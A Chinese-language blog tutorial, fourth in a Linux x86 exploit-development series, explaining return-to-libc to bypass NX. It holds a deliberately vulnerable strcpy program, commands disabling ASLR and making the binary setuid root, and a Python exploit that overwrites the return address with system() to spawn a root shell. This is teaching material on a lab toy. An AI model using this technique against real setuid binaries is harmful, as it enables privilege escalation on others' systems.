• Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)


    (1)原理:

    “NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

    在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,使用叫做“return-to-libc”的攻击技术绕过NX bit。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system()地址覆盖返回地址,并在堆栈中设置system()所需的相应参数,以便成功调用它。

    (2)源代码

    //vuln.c
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char* argv[]) {
     char buf[256]; /* [1] */ 
     strcpy(buf,argv[1]); /* [2] */
     printf("%s
    ",buf); /* [3] */
     fflush(stdout);  /* [4] */
     return 0;
    }
    

     (3)编译

    先关闭ASLR地址空间随机化,“-z execstack”参数不传递给gcc,因此现在堆栈是非可执行的

    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
    gcc -g -fno-stack-protector -o vuln vuln.c
    sudo chown root vuln
    sudo chgrp root vuln
    sudo chmod +s vuln
    

    堆栈段只包含RW标志,无E标志,不可执行

    (4)攻击代码:

    #exp.py
    #!/usr/bin/env python
    import struct
    from subprocess import call
    system = 0xb7e60430
    exit = 0xb7e53fb0 
    binsh_arg = 0xb7f82d98
    def conv(num):
     return struct.pack("<I",num)
    buf = "A" * 268
    buf += conv(system)
    buf += conv(exit)
    buf += conv(binsh_arg)
    print "Calling vulnerable program"
    call(["./vuln", buf])
    

    用gdb调试找到sytem和exit,bin/sh的地址。其中system的地址覆盖返回地址。

     

    (5)执行攻击程序,获得root shell。

    (6)在实际应用中,root setuid程序会采用最小权限的原则,在用户输入之前删除用户获得的root权限,所以只能获得普通用户权限

    漏洞代码:

    //vuln_priv.c
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char* argv[]) {
     char buf[256];
     seteuid(getuid()); /* Temporarily drop privileges */ 
     strcpy(buf,argv[1]);
     printf("%s
    ",buf);
     fflush(stdout);
     return 0;
    }

     用上述方法获得攻击代码,执行攻击程序只能获得普通用户权限

    原创作者提示:执行程序调用system,随后退出,发现它不足以获取root shell。但是如果我们的利用代码(exp_priv.py)被修改为调用以下libc函数(按照列出的顺序)

        seteuid(0)

        system(“sh”)

        exit()

    我们将获得root shell。这种技术被称为链接到libc!

    (我不会)

    由于无法解释的神圣旨意,我们徒然地到处找你;你就是孤独,你就是神秘,比恒河或者日落还要遥远。。。。。。
  • 相关阅读:
    PAT 甲级 1002 A+B for Polynomials (25 分)
    数字提取——C语言
    粒子动画——Pygame
    李白打酒——C++
    C语言输出格雷码
    特殊篮子问题——C语言暴力破解
    黑白迷宫问题——深度优先搜索算法
    最近素数问题——C语言
    巧克力分配问题——C语言
    离散数学——逻辑推理系统
  • 原文地址:https://www.cnblogs.com/momoli/p/10832339.html
Copyright © 2020-2023  润新知